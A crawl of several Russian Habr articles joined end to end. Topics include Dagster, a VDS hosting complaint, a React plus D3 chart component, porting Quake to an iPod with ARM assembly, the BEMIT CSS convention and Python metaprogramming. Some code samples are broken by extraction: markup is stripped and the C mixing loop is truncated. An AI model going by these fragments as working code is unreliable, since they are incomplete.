Примеры, которые мы запускали выше игрушечные, т.к. Дагстер мы поставим локально и дергали задачи вручную. В продакшене вам понадобится развернуть Дагстер на отдельном сервере: <https://docs.dagster.io/deployment/open-source>
З.Ы.1. Дагстер имеет встроенную поддержку кучи систем: <https://docs.dagster.io/integrations>
З.Ы.2. Чтобы разрабатывать и тестировать сенсоры и планировщики локально, откройте еще одну консоль и из нее запустите сервис:
```
Dagster-Daemon Run
```
Вывод
-----
По работе я много работаю с Airflow (версии 1.x и 2.x). По сравнении с ним Dagster предоставляет:
* На порядок лучший пользовательский интерфейс.
* На порядок лучшее логирование и интерфейс взаимодействия с ним.
* Лучший способ взаимодействия между отдельными задачами пайплайна.
* Позволяет дополнять задачи своими методанными, чтобы отслеживать их свойства в процессе выполнения DAG’а.
Очевидных недостатка пока два:
* Слабее развито комьюнити.
Если по Airflow на stackoverflow можно найти ответ практически на любой вопрос, то Дагстером все гораздо скромнее.
* Подводные камни.
Хотя и декларуют, что в Дагстере очень хорошо разделены системные и пользовательские процессы, что должно повысить стабильность и надежность системы. Но как это все будет работать под реально нагрузкой можно испытать только самому. | https://habr.com/ru/post/690342/ | null | ru | null |
# Лоукост VDS хостинг в России и его техподдержка
Доброго времени суток, дамы и господа.
Есть тут на Хабре одна компания, которая имеет свой блог и отчаянно пиарится как "[Лоукост VDS хостинг в России".](https://habrahabr.ru/company/marosnet/blog/269561/)
Я ничего не имею против лоукоста и сразу же оплатил у них сервер. Первое время сервис был на достаточно хорошем уровне, кроме нескольких факапов со скидками, которые тут же и рекламировались. Но все эти проблемы достаточно быстро решались через ТП или комментарии на Хабре.
Но сегодняшняя ситуация перечеркнула все плюсы.
В обед я заметил тормоза своих сайтов, обратившись в техподдержку, я получил ответ, что был небольшой DDoS и сейчас проблема решена. И действительно, проблема была решена и сайты забегали по IPv4. Но весь фокус в том, что в DNS был прописан и IPv6. К почте он был привязан так же, как и к сайтам. И вот он отвалился чуть более чем полностью.
Что обычно делают все нормальные люди? Пишут в техподдержку. Что я и сделал.
Ответ меня не то что поразил. Ответ убил на повал:
За 15 лет работы со всякими датацентрами и хостингами я не припомню ситуации, чтоб хостер просил рутовый доступ к моему серверу. В принципе, все и так понимают, что хостер имеет доступ к файловой системе сервера, при необходимости. Но чтоб вот так в наглую.
Я думал, что на этом все и закончится. Напишут список команд, я выдам им результат и все. Но нет. Следующий комментарий от ТП был более настойчивым и все так же продолжали требовать рутовый доступ.
Не буду пересказывать всю переписку. Это лишено смысла и пост не является жалобой как таковой, а всего лишь предостережением.
В общем, если кто-то из хабровчан пользуется услугами этого чудо-хостера и испытывает проблемы с IPv6, то проблема решается одной командой:
```
ping6 -I <ваш_ipv6_адрес> 2a02:6b8::feed:0ff
```
После этого все начинает работать.
Как вы, наверное, уже догадались эта команда пришла не от техподдержки, а от моего товарища, который боролся с ТП за три дня до этого в течение двух суток. В результате, у него сегодня ситуация повторилась и это помогло.
Вероятнее всего есть проблемы с AntiDDoS оборудованием, которое широко рекламировалось в твиттере. Но кто же у нас признает проблемы и компенсирует простой? Вопрос риторический. | https://habr.com/ru/post/306570/ | null | ru | null |
# Универсальный компонент для графиков на React + D3.js
Привет! Меня зовут Лёня, я фронтенд-разработчик в [hh.ru](http://hh.ru). Как-то мы рисовали графики на React с использованием библиотеки D3.js и столкнулись с одной проблемой. В наш существующий компонент потребовалось добавить функциональность, которая вообще не влезала в текущую реализацию. Было проще рядом написать похожий компонент, чем дорабатывать старый. Статья о том, как мы искали решение для универсального компонента графиков и пробовали разные способы передачи данных в React.
### Как всё было
Сначала мы нарисовали вот такой график, это был обычный LineChart. На оси OX располагаются даты, на OY какие-то значения.
Всё это довольно просто делается стандартными средствами [D3.js](https://d3-graph-gallery.com/graph/line_basic.html). Никаких сложностей у нас не возникло. Затем бизнес-заказчик попросил рисовать не одну, а две линии на одном графике. А дизайнер постарался и нарисовал всяких красивостей: ключевые точки, всплывающие тултипы, градиенты etc.
На тот момент у нас не было времени переписывать старый компонент для графиков, поэтому мы написали рядом еще один.
А потом ситуация повторилась еще раз. И в итоге мы получили целых три похожих компонента для отрисовки линейных графиков. Мы прожили с ними почти два года. Затем бизнес вновь пришел к нам и попросил нарисовать еще графиков. В этот раз мы никуда не спешили и решили провести рефакторинг старого кода: избавиться от копипаста и сделать удобный, масштабируемый компонент.
### Список требований
За два года использования мы выяснили основные требования, которым должен удовлетворять наш компонент для графиков. Прежде чем начать рефакторинг, мы составили из них список.
**Вот что у нас вышло:**
* График должен быть резиновым по ширине и фиксированным по высоте;
* На одном графике можно отрисовывать несколько линий;
* Линии должны легко настраиваться. У нас должна быть возможность задавать им цвет, стиль, градиент и другие свойства;
* Мы должны иметь возможность рисовать оси графиков и подписи к ним. Или не рисовать их вообще;
* По наведению на график должен отображаться тултип с информацией о ближайшей точке;
* Еще хотелось рисовать дополнительные сущности: это могут быть сетка на графике, какие-то дополнительные ключевые точки, закрашенные области etc.
Также мы поняли, как с технической точки зрения должен выглядеть наш компонент, чтобы он был удобным и легко расширяемым. Должен быть родительский компонент LineChart, в который в качестве пропсов мы прокидываем список точек и другие дополнительные свойства. Далее в этот компонент мы вкладываем отдельные элементы графика: линии, оси, тултипы и другое. У каждого такого элемента могут быть свои пропсы.
```
```
### Решение проблемы
Во-первых, для D3 надо подготовить данные. Во-вторых, на их основе и размерах графика нужно сделать функции для создания осей. Ну и в-третьих, всё это необходимо прокинуть в дочерние компоненты.
```
// под капотом getPreparedData, getXAxis, getYAxis нативные методы D3.js
const chartData = getPreparedData(data);
const xAxis = getXAxis(chartData, width);
const yAxis = getYAxis(chartData, heigh);
```
Решение “в лоб” получилось не очень удачным. При таком подходе логика предобработки данных находится во внешнем компоненте и будет повторяться из раза в раз при использовании компонента. Нам же хотелось инкапсулировать логику в самом LineChart. Что мы и сделали.
```
const LineChart = ({ data, width, height, children }) => {
const chartData = getPreparedData(data);
const xAxis = getXAxis(chartData, width);
const yAxis = getYAxis(chartData, height);
return {children}
}
```
Однако теперь надо было как-то передать эти данные дочерним компонентам. Первым делом мы подумали о render-функции.
```
const LineChart = ({ data, width, height, renderContent }) => {
const chartData = getPreparedData(data);
const xAxis = getXAxis(chartData, width);
const yAxis = getYAxis(chartData, height);
return {renderContent(chartData, xAxis, yAxis)}
}
(
<>
// ...
)}
/>
```
Таким образом внутренние компоненты получили доступ к данным, но их всё равно каждый раз приходится вручную прокидывать в дочерние компоненты. Это не слишком удобно.
Было бы классно, если бы компонент LineChart добавлял общие пропсы в дочерние компоненты. А помочь в этом нам может, например, React.cloneElement. Получился вот такой код:
```
}
AxisComponent={}
TooltipComponent={}
/>
const LineChart = ({
data, width, height, LineComponent, AxisComponent, TooltipComponent
}) => {
const chartData = getPreparedData(data);
const xAxis = getXAxis(chartData, width);
const yAxis = getYAxis(chartData, heigh);
return (
<>
{React.cloneElement(LineComponent, {chartData, xAxis, yAxis})}
{React.cloneElement(AxisComponent, {chartData, xAxis, yAxis})}
{React.cloneElement(TooltipComponent, {chartData, xAxis, yAxis})}
// ...
)
}
```
Логика инкапсулирована, общие пропсы прокидываются автоматически. Но использование компонента всё еще не было удобным, поскольку для каждой новой сущности на графике приходилось заводить отдельный prop в родительском компоненте.
Мы стали искать другое решение и вспомнили про React Context. Переписали код и вот что вышло:
```
const LineChart = ({ data, width, height }) => {
const chartData = getPreparedData(data);
const xAxis = getXAxis(chartData, width);
const yAxis = getYAxis(chartData, height);
return (
{children}
)
}
```
Логика предобработки данных по-прежнему находится внутри LineChart. С помощью React Сontext мы пробрасываем нужные данные дочерним компонентам. Сами дочерние компоненты, например, компонент Line для отрисовки линий, имеют как свои независимые пропсы, так и используют данные из контекста.
```
const Line = ({ color }) => {
const { chartData } = useContext(ChartContext);
return (
);
};
```
Таким образом, мы получили именно тот формат компонента, который хотели. К тому же в него легко добавлять новые сущности, которые автоматически будут получать доступ к данным, необходимым для отрисовки на D3.js.
### Итоги
Возможно у нас и не получилось сделать универсальный компонент для графиков на все случаи жизни. Не исключено, что однажды к нам вновь придет бизнес и попросит нарисовать на графике еще много разных штук. Например, красную линию прозрачного цвета или линию в виде котенка. Ну что ж, тогда и будем что-то с этим делать.
Зато, несомненно, нам удалось сделать наш компонент более гибким и универсальным. К тому же, в процессе рефакторинга мы избавились от повторяющегося кода, рассмотрели различные варианты реализации, их плюсы и минусы и лучше разобрались, как использовать D3.js.
Из своего опыта я могу порекомендовать не создавать сразу универсальный компонент на все случаи жизни. Велика вероятность того, что вы не сможете предугадать абсолютно всё и вам-таки придется переписывать ваш код. Лучше пожить некоторое время с тем, что есть. Собрать бизнес и технические требования. И уже на основе этого продумать архитектуру и провести рефакторинг.
На этом у меня всё. Рассказывайте о собственных решениях похожих проблем в комментах. Было бы интересно узнать, что вы используете для графиков в своих проектах.
Спасибо! | https://habr.com/ru/post/660819/ | null | ru | null |
# Портируем Quake на iPod Classic
*Запускаем Quake на iPod Classic ([видео](https://www.youtube.com/watch?v=r6V-4AZ7pkA)).*
**TL;DR**: мне удалось запустить Quake на MP3-плеере. В статье описывается, как это произошло.
Часть прошлого лета я потратил на пару своих любимых вещей: [Rockbox](https://www.rockbox.org) и игру [Quake](https://en.wikipedia.org/wiki/Quake_(video_game)) id Software. Мне даже предоставилась возможность объединить эти два увлечения, портировав Quake *на* Rockbox! Большего и пожелать было нельзя!
В этом посте рассказывается история о том, как всё получилось. Это долгая история, растянувшаяся почти на два года. Кроме того, это первая моя попытка документирования процесса разработки, подробная и без прикрас, в отличие от готовой технической документации, которой я и так за свою жизнь написал слишком много. В статье будут и технические подробности, но в первую очередь я постараюсь рассказать о мыслительном процессе, который привёл к созданию кода.
Увы, настало время попрощаться с Rockbox и Quake, по крайней мере, на ближайший срок. Несколько месяцев свободное время для меня будет очень дефицитным ресурсом, поэтому прежде, чем навалится работа, я спешу изложить свои размышления.
Rockbox
-------
[Rockbox](https://www.rockbox.org) — это любопытный проект с открытыми исходниками, на хакинг которого я потратил уж очень много времени. Лучше всего о нём написано на веб-странице: «Rockbox — это свободное firmware для цифровых музыкальных плееров». Всё верно — мы создали полную замену заводского ПО, поставляемого с плеерами Sandisk Sansa, Apple iPod и множеством других поддерживаемых устройств.
Мы не только стремимся воссоздать функции оригинальной прошивки, но и реализовали поддержку загружаемых расширений, называемых *плагинами* – небольших программ, выполняемых в MP3-плеере. В Rockbox уже есть множество прекрасных игр и демо, самыми впечатляющими из которых, вероятно, стали шутеры от первого лица [Doom](https://www.rockbox.org/wiki/PluginDoom) и [Duke Nukem 3D](https://www.rockbox.org/wiki/PluginDuke3D)1. Но я чувствовал, что в нём чего-то не хватает.
На сцене появляется Quake
-------------------------
Quake — это полностью трёхмерный шутер от первого лица. Давайте разберёмся, что это значит. Самыми ключевыми словами здесь являются *«полностью трёхмерный»*. В отличие от Doom и Duke Nukem 3D, которые обычно называют *2.5D* (представьте 2D-карту с дополнительным компонентом высоты), Quake реализован в полном 3D. Каждая вершина и полигон существуют в 3D-пространстве. Это означает, что старые трюки с псевдо-3D больше не работают — всё выполнено в полном 3D. Впрочем, я отвлёкся. Если вкратце, то Quake — это мощная вещь.
Да и шуток Quake не прощает. Наши исследования показали, что для Quake «требуются» процессор x86 с частотой примерно 100 МГц и FPU, а также около 32 МБ ОЗУ. Прежде чем вы начнёте хихикать, вспомните, что целевые для Rockbox платформы несравнимы с тем, на что ориентировался Джон Кармак при написании игры — Rockbox работает даже на устройствах с процессорами с частотой всего 11 МГц и 2 МБ ОЗУ (разумеется, Quake не должен был работать на *таких* устройствах). Помня об этом, я взглянул на свою постепенно уменьшающуюся коллекцию цифровых аудиоплееров и выбрал самый мощный из выживших: Apple iPod Classic/6G с процессором ARMv5E на 216 МГц и 64 МБ ОЗУ (индекс *E* обозначает наличие DSP-расширений ARM — позже это будет важно для нас). Серьёзные характеристики, но для запуска Quake их едва хватает.
Порт
----
Существует чудесная версия Quake, способная работать на [SDL](https://libsdl.org). Она имеет вполне логичное название [SDLQuake](https://www.libsdl.org/projects/quake/). К счастью, я уже портировал библиотеку SDL в Rockbox (это тема для отдельной статьи), поэтому подготовка Quake к компиляции оказалась довольно простым процессом: копируем дерево исходников; `make`; исправляем ошибки; смыть, намылить, повторить. Вероятно, здесь я слегка преукрашиваю множество скучных деталей, но просто представьте себе моё восхищение, когда мне удалось успешно скомпилировать и скомпоновать исполняемый файл Quake. Я был в восторге.
*«Ну что, загрузим его!»*, — подумал я.
И он загрузился! Меня встретил красивый фон консоли Quake и меню. *Всё отлично*. Но не торопитесь! Когда я запустил игру, что-то было не так. Уровень «Introduction», казалось, загружался нормально, но позиция спауна игрока находилась полностью за пределами карты. *«Странно»*, — подумал я. Попробовал разные трюки, запускал отладку и `splashf`, но всё было тщетно — баг оказался слишком сложным для меня, или мне так казалось.
И такая ситуация сохранялась несколько лет. Вероятно, здесь стоит немного рассказать о сроках. Первая попытка запуска Quake была предпринята в сентябре 2017 года, после чего я сдался, и мой франкенштейн из Quake и Rockbox лежал на полке, собирая пыль, до июля 2019 года. Найдя идеальное сочетание скуки и мотивации, я решил приступить к завершению начатого.
Я занялся отладкой. Моё состояние потока было таким, что я не помню практически никаких подробностей о том, что делал, но постараюсь воссоздать ход работы.
Я обнаружил, что структура Quake разделена на две основные части: код движка на C и высокоуровневая логика игры на QuakeC — компилируемом в байт-код языке. Я всегда старался держаться подальше от QuakeC VM из-за иррационального страха отладки чужого кода. Но теперь я был вынужден погрузиться в него. Я смутно вспоминаю безумный потоковый сеанс, на протяжении которого я искал источник бага. Спустя множество `grep`, я обнаружил виновника: `pr_cmds.c:PF_setorigin`. Эта функция получала трёхмерный вектор, задающий новые координаты игрока при загрузке карты, которые по какой-то причине всегда были равны `(0, 0, 0)`. *Хм…*
Я оттрасировал поток данных и нашёл, откуда он берётся: из вызова `Q_atof()` — классической функции преобразования из string в float. А потом на меня снизошло озарение: я написал набор функций-обёрток, переопределявших `Q_atof()` кода Quake, и моя реализация `atof()`, наверно, была ошибочной. Исправить её было очень легко. Я [заменил](https://git.rockbox.org/?p=rockbox.git;a=blobdiff;f=apps/plugins/sdl/wrappers.c;h=efa29ea7b852becf850e27f7e9d361e1862bf398;hp=ee512dd5737c0b0dfaac271396281d6ba2320dc5;hb=HEAD;hpb=3f59fc8b771625aca9c3aefe03cf1038d8461963) свою ошибочную `atof` правильной — функцией из кода Quake. И вуаля! Знаменитый начальный уровень с тремя коридорами загрузился без проблем, как и «E1M1: The Slipgate Complex». Вывод аудио по-прежнему звучит как сломанная газонокосилка, но мы всё-таки запустили Quake на MP3-плеере!
Вниз по кроличьей норе
----------------------
Этот проект наконец-то стал оправданием того, что я давно откладывал: изучения языка ассемблера ARM2.
Проблема заключалась в чувствительном к скорости выполнения цикле микширования звука в `snd_mix.c` (помните звук газонокосилки?).
Функция `SND_PaintChannelFrom8` получает массив из 8-битных звуковых моно-сэмплов и микширует их в 16-битный стереопоток, левый и правый каналы которого масштабируются по отдельности на основании двух целочисленных параметров. GCC паршиво справлялся с оптимизацией арифметики насыщения, поэтому я решил заняться этим сам. Результат меня вполне удовлетворил.
Вот ассемблерная версия того, что у меня получилось (версия на C представлена ниже):
```
SND_PaintChannelFrom8:
;; r0: int true_lvol
;; r1: int true_rvol
;; r2: char *sfx
;; r3: int count
stmfd sp!, {r4, r5, r6, r7, r8, sl}
ldr ip, =paintbuffer
ldr ip, [ip]
mov r0, r0, asl #16 ; prescale by 2^16
mov r1, r1, asl #16
sub r3, r3, #1 ; count backwards
ldrh sl, =0xffff ; halfword mask
1:
ldrsb r4, [r2, r3] ; load input sample
ldr r8, [ip, r3, lsl #2] ; load output sample pair from paintbuffer
; (left:right in memory -> right:left in register)
;; right channel (high half)
mul r5, r4, r1 ; scaledright = sfx[i] * (true_rvol << 16) -- bottom half is zero
qadd r7, r5, r8 ; right = scaledright + right (in high half of word)
bic r7, r7, sl ; zero bottom half of r7
;; left channel (low half)
mul r5, r4, r0 ; scaledleft = sfx[i] * (true_rvol << 16)
mov r8, r8, lsl #16 ; extract original left channel from paintbuffer
qadd r8, r5, r8 ; left = scaledleft + left
orr r7, r7, r8, lsr #16 ; combine right:left in r7
str r7, [ip, r3, lsl #2] ; write right:left to output buffer
subs r3, r3, #1 ; decrement and loop
bgt 1b ; must use bgt instead of bne in case count=1
ldmfd sp!, {r4, r5, r6, r7, r8, sl}
bx lr
```
Здесь есть хитрые хаки, которые стоит объяснить. Я использую DSP-инструкцию `qadd` процессора ARM, чтобы реализовать малозатратное сложение насыщения, но `qadd` работает только с 32-битными словами, а в игре используются 16-битные звуковые сэмплы. Хак заключается в том, что я сначала смещаю сэмплы влево на 16 бит; объединяю сэмплы при помощи `qadd`; а затем выполняю обратный сдвиг. Так я за одну инструкцию выполняю то, на что GCC требовалось семь. (Да, можно было бы обойтись совсем без хаков, если бы я работал с ARMv6, который имеет MMX-подобную упакованную арифметику насыщения при помощи `qadd16`, но увы — жизнь не так проста. К тому же, хак получился крутым!)
Заметьте также, что я считываю два стереосэмпла за раз (при помощи работающих со словами `ldr` и `str`), чтобы сэкономить ещё пару циклов.
Ниже для справки представлена версия на C:
```
void SND_PaintChannelFrom8 (int true_lvol, int true_rvol, signed char *sfx, int count)
{
int data;
int i;
// we have 8-bit sound in sfx[], which we want to scale to
// 16bit and take the volume into account
for (i=0 ; i
```
Я подсчитал, что по сравнению с оптимизированной версией на C количество инструкций на сэмпл снизилось на 60%. БОльшая часть циклов была сэкономлена благодаря использованию `qadd` для арифметики насыщения и упаковке операций с памятью.
### Заговор «простых» чисел
Вот ещё один интересный баг, найденный мной в процессе работы. В листинге ассемблерного кода рядом с инструкцией `bgt` (ветвление «если больше, чем») есть комментарий, что `bne` (ветвление «если не равно») нельзя использовать из-за пограничного случая, тормозящего программу при количестве сэмплов, равном 1. Это приводит к циклическому переносу integer на `0xFFFFFFFF` и чрезвычайно долгой задержке (которая со временем всё-таки завершается).
Этот пограничный случай вызывается одним конкретным звуком, имеющим длину 7325 сэмплов3. Что же особенного в числе 7325? Попробуем найти остаток его деления на любую степень двойки:
*5, 13, 29, 157*…
Заметили что-нибудь? Именно — по какому-то совпадению 7325 является «простым» числом при делении на любую степень двойки. Это *каким-то образом* (я не понимаю, как именно) приводит к тому, что коду микширования звуков передаётся массив из одного сэмпла, происходит срабатывание пограничного случая и зависание.
Я потратил на выявление причины этого бага не меньше дня, в результате выяснив, что всё сводится к *одной* неверной инструкции. Иногда в жизни такое бывает, правда?
Прощание
--------
В конечном итоге я упаковал этот порт как [патч](http://gerrit.rockbox.org/r/1832/) и слил его с основной веткой Rockbox, где он сегодня и находится. В Rockbox версий 3.15 и выше он поставляется в сборках для большинства целевых платформ ARM с цветными дисплеями4. Если у вас нет поддерживаемой платформы, то можете посмотреть [демо user890104](https://www.youtube.com/watch?v=74i8aBOmyos).
Ради экономии места я пропустил пару интересных моментов. Например, существует состояние гонки, которое возникает только при разрывании зомби на куски мяса, когда частота дискетизации равна 44,1 кГц. (Это стало результатом того, что звуковой поток пытается загрузить звук — взрыв, а загрузчик моделей пытается загрузить модель куска мяса. Эти два участка кода используют одну функцию, использующую одну глобальную переменную.) А ещё есть множество проблем упорядочивания (люблю тебя, ARM!) и куча микрооптимизаций рендеринга, который я создал, чтобы выжать из оборудования ещё несколько кадров. Но их я оставлю на другой раз. А сейчас настала пора попрощаться с Quake — мне понравился этот опыт.
Всего хорошего, и спасибо за рыбу!
---
Примечания
----------
1. Duke Nukem 3D стала первой игрой, использующей runtime Rockbox SDL, и она заслуживает отдельного поста. [Здесь](https://www.youtube.com/watch?v=aEkBJ-fHxhA) можно посмотреть её демо, записанное user890104.
2. Если вам хочется изучить язык ассемблера ARM, то [*Tonc: Whirlwind Tour of ARM Assembly*](https://www.coranac.com/tonc/text/asm.htm) — это хороший (хотя немного устаревший и ориентированный на GBA) источник. И если уж вам интересно, то распечайте себе [ARM Quick Reference Card](https://infocenter.arm.com/help/topic/com.arm.doc.qrc0001l/QRC0001_UAL.pdf).
3. Это был звук, вызываемый подбором [аптечкой на 100 очков здоровья](https://www.fwei.tk/blog/r_item2.wav).
4. Честно говоря, я не помню, какие конкретно целевые платформы поддерживают и не поддерживают Quake. Если вам любопытно, то перейдите на [сайт Rockbox](https://rockbox.org) и попробуйте установить сборку для своей платформы. И сообщите мне на [почту](mailto:me@fwei.tk), как она работает! Новые версии [Rockbox Utility](https://www.rockbox.org/wiki/RockboxUtility) (от 1.4.1 и выше) также поддерживают автоматическую установку shareware-версии Quake. | https://habr.com/ru/post/486818/ | null | ru | null |
# BEMIT: Следующий шаг в развитии BEM по версии Гарри Робертса
Все, кто следил за мной или моей работой на протяжении какого-либо времени, бесспорно знают, что я огромный фанат соглашения о наименованиях БЭМ. То, о чем я расскажу в этой статье, является не альтернативным или другим соглашением о наименованиях БЭМ, а дополнением к нему: небольшими добавками, которые поднимут БЭМ на ступеньку выше. Этот расширенный синтаксис БЭМ окрестили BEMIT, так как он включает некоторые парадигмы и шаблоны из (еще неопубликованной) архитектуры CSS в виде перевернутого треугольника (ITCSS). BEM + ITCSS = BEMIT.
Вспомним, что такое БЭМ – он работает за счет разбивки всех классов в базе кода на три группы:
• Блок: Единственный корневой элемент компонента.
• Элемент: Составная часть Блока.
• Модификатор: Вариант или расширения Блока.
Блоки, Элементы и Модификаторы: БЭМ. Абсолютно любой класс в проекте подпадает под одну из этих категорий, и именно поэтому БЭМ так хорош – он невероятно прост и прямолинеен.
Смысл БЭМ – сделать вашу разметку более прозрачной и понятной. БЭМ сообщает разработчикам, как классы относятся друг к другу, что важно в сложных или многоуровневых DOM. Например, если бы я попросил вас удалить все классы, связанные с пользователями, в следующем фрагменте HTML, от которых вы бы избавились?
```
![]()
...
```
Определенно, мы бы начали с user, но все, что расположено ниже его, будет скорее догадкой, хотя и обоснованной. Однако если мы перепишем этот фрагмент с БЭМ:
```
![]()
...
```
Здесь мы точно видим, что user, user--premium, user\_\_photo и user\_\_bio связаны между собой. Также мы видим, что media, media\_\_img и media\_\_body также связаны между собой, а avatar – это одинокий Блок, у которого нет Элементов и Модификаторов.
Такой уровень детализации по нашим классам – это отлично. Он позволяет нам принимать более безопасные и более информированные решения о том, что следует сделать, и как можно использовать, переиспользовать, изменять или удалять элементы.
Единственный недостаток БЭМ – это то, что он всего лишь сообщает какие классы использовать в относительных понятиях, а также как классы связаны между собой. Он не дает понять, как такие элементы себя ведут, работают или должны быть реализованы в глобальном неотносительном смысле.
С этой точки зрения я решил расширить БЭМ и сделать BEMIT. BEMIT не добавляет новые виды классов – у нас все равно остаются только Блоки, Элементы или Модификаторы, но при этом он добавляет информацию об использовании и состоянии.
#### Пространства имен
Наиболее распространенные виды пространств имен – это c- для Компонентов, o- для Объектов, u- для Утилит и is-/has- для состояний (более подробно это описано в статье, на которую я ссылаюсь). С учетом этого, вышеприведенный HTML должен быть переписан следующим образом:
```
![]()
...
```
Исходя из этого, я вижу, что у нас есть повторно используемая абстракция в медиа-объекте (o-media\*) и два компонента реализации (c-user\* и c-avatar). Эти классы все равно остаются Блоками, Элементами или Модификаторами: к ним не добавлена новая классификация, но добавлен новый уровень значения.
Эти пространства имен связываются с уровнями, содержащимися в архитектуре CSS в форме перевернутого треугольника, что означает, что у каждого класса есть определенное место в нашем проекте (и в нашей файловой системе).
#### Отзывчивые суффиксы
Следующее, что BEMIT добавляет в традиционный БЭМ-нейминг, это отзывчивые суффиксы. Эти суффиксы принимают формат @<контрольная точка>, и сообщают нам этот класс в следующем размере:
```
![]()
...
```
Здесь мы имеем o-media@md, что означает, что медиа-объект будет в этой контрольной точке. Другие возможные примеры:
• u-hidden@print – класс утилиты, скрывающий элементы при печати.
• u-1/4@lg – утилита, которая отображает объекты в четверть ширины в большой контрольной точке
• o-layout@md – объект макета в средней контрольной точке.
Знак @ — это понятный человеку и логический способ указывать условные состояния. Он позволяет разработчикам узнавать о любых потенциальных перестановках или внешнем виде этой части рассматриваемого UI с первого взгляда.
**Замечание:** Не следует использовать символ @ в файле CSS в следующем виде:
```
@media print {
.u-hidden\@print {
display: none;
}
}
```
#### Проверка работоспособности
Имея такие строгие и четкие закономерности в нашем HTML, мы можем делать множество вещей. Во-первых, и что наиболее очевидно, мы можем писать значительно более выразительный и богатый код для наших коллег, что означает, что они смогут понять и разобраться в состоянии и форме проекта намного быстрее. Также они смогут вносить свой вклад более последовательным образом.
Но еще один забавный побочный эффект – это то, что мы можем запускать визуальную проверку работоспособности для нашего UI. Используя подстрочные селекторы, мы можем обозначать, а потому визуализировать общий внешний вид страницы, основываясь на типах классов, которые он содержит:
```
/**
* Outline для всех классов.
*/
[class] {
outline: 5px solid lightgrey;
}
/**
* Outline всех BEM-элементов.
*/
[class*="__"] {
outline: 5px solid grey;
}
/**
* Outline всех BEM Модификаторов.
*/
[class*="--"] {
outline: 5px solid darkgrey;
}
/**
* Outline для всех классов объектов.
*/
[class^="o-"],
[class*=" o-"] {
outline: 5px solid orange;
}
/**
* Outline для всех классов компонентов.
*/
[class^="c-"],
[class*=" c-"] {
outline: 5px solid cyan;
}
/**
* Outline для всех "классов отзывчивости".
*/
[class*="@"] {
outline: 5px solid rosybrown;
}
/**
* Outline для все "Hack classes".
*/
[class^="_"] {
outline: 5px solid red;
}
```
Конечно, это не панацея – некоторые фрагменты могут быть одновременно Компонентами и Элементами – но если мы пишем классы в выборочном порядке (т.е. в порядке от менее важного к более важному, и таким образом, самое тяжелое оказывается в конце), мы можем получить неплохой визуальный снимок внешнего вида любой определенной страницы.
Мы можем запустить проверку работоспособности различными способами, но самый простой – это вложение всего объема в класс Scope:
```
.s-healthcheck {
...
/**
* Outline all Responsive classes.
*/
[class*="@"] {
outline: 5px solid rosybrown;
}
...
}
```
…который потом можно добавлять в элемент html, когда вам нужно включить проверку:
```
```
#### В заключение
У нас есть несколько простых дополнений к БЭМ, которые превращают его в BEMIT: добавление информации в начало и конец стандартного класс Блок, Элемент или Модификатор, чтобы предоставить нам больше данных о том, как классы себя ведут в неотносительном смысле. Еще несколько примеров:
```
.c-page-head {}
@media screen and (min-width: 15em) {
.u-text-center\@sm {}
}
.o-layout__item {}
@media print {
.u-color-black\@print {}
}
```
**Платежные решения Paysto для читателей Хабра:** → [Получите оплату банковской картой прямо сейчас. Без сайта, ИП и ООО.](http://linkcharge.ru/email)
→ [Принимайте оплату от компаний через Интернет. Без сайта, ИП и ООО.](http://linkcharge.ru)
→ [Приём платежей от компаний для Вашего сайта. С документооборотом и обменом оригиналами.](http://linkcharge.ru/api)
→ [Автоматизация продаж и обслуживание сделок с юр.лицами. Без посредника в расчетах.](http://linkcharge.ru/automat) | https://habr.com/ru/post/264569/ | null | ru | null |
# Заметки о метапрограммировании в Python
По мере накопления опыта программирования на одном языке, все мы нарабатываем стандартные для себя приемы программирования. Чем выше наш опыт, тем больше количество, более разносторонни методы их работы. При переходе на другой язык, мы стараемся их воспроизвести. Иногда, такое бывает что часть из них неактуальна или неэффективна. Большую часть времени от изучения языка отнимают новые несвойственные прежним нам, приемы. Я хотел бы отметить некоторые особенности Python, которые для меня были не очевидны поначалу освоения.
По большому счету в питоне все объекты хранятся в словарях(dict).Словарь — есть список объектов, которому противопоставлен ключ, уникальный на весь словарь.
`class A(): i=1; s='string'
print dir(A)
> ['\_\_doc\_\_', '\_\_module\_\_', 'i', 's']`
Это свойство, позволяет «вытворять» с классами и экземплярами классов разнообразные вещи. Например:
`class A(): v0=1
class B(A):
v1=2
def \_\_init\_\_(self):
self.v2 = 3
b=B()
print b.v2, b.v1, b.v0
> 3 2 1`
Когда Python пытался достать v2 все ясно — оно получено из словаря экземпляра b. Далее интересней, свойство v1, уже не содержит элемент b, его содержит словарь B — питон взял его оттуда. И, наконец, при поиске элемента v0 обращаемся к словарю родителю B-A, и достаем его оттуда. Понятно что если определить в пределах b свойство v0, то его значение будет получено оттуда, не поднимаясь на более высокие уровни.
`def \_\_init\_\_(self):
print self
class A(): pass
setattr(A, '\_\_init\_\_', \_\_init\_\_)
a=A()
> <\_\_main\_\_.A instance at 0x009E9EB8>`
В этом примере, мы переместили функцию \_\_init\_\_ в пределы класса A(мы могли переместить функцию с любым другим именем, \_\_init\_\_ приведена для наглядности). Декларация класса A эквивалентна:
`class A():
def \_\_init\_\_(self):
print self`
**Классы в питоне есть экземпляры метаклассов.** Это, есть неожиданность, потому как теперь вам позволено «на лету» определять классы, а не только их экземляры.
`def \_\_init\_\_(self):
print self
B = type('B', (), {})
setattr(B, '\_\_init\_\_', \_\_init\_\_)
b = B()`
> <\_\_main\_\_.B object at 0x009E7CD0>
Заметьте, что функция определена лишь для экземпляров класса, вызвать её для самого класса A нельзя. С другой стороны, что нам мешает эту возможность добавить.
`def Omd(obj):
print obj
B = type('B', (), {})
setattr(B, 'c', classmethod(Omd))
setattr(B, 'o', Omd)
b = B()
b.c(), b.o()`
>
> <\_\_main\_\_.B object at 0x009E7D50>
Весело правда?! Определили фукнцию, которая печатает первый свой аргумент. Далее создали класс, на основе метакласса (можно было его определить и стандартно, как `class A(type): pass`). Дальше классу, добавили статическую функцию «с», под которой скрывается наша, и функцию «о» для вызова её от экземпляра класса B. Смотрим, что получается, первым мы видим что печатается класс, а после него экземпляр. Вот такая вот у них любовь. | https://habr.com/ru/post/64359/ | null | ru | null |
# Как мы :hover на iOS побеждали…
Ни для кого, думаю, не секрет, что touch-устройства обрабатывают «мышиные» события несколько иначе, не так, как это происходит на десктоп-браузерах…
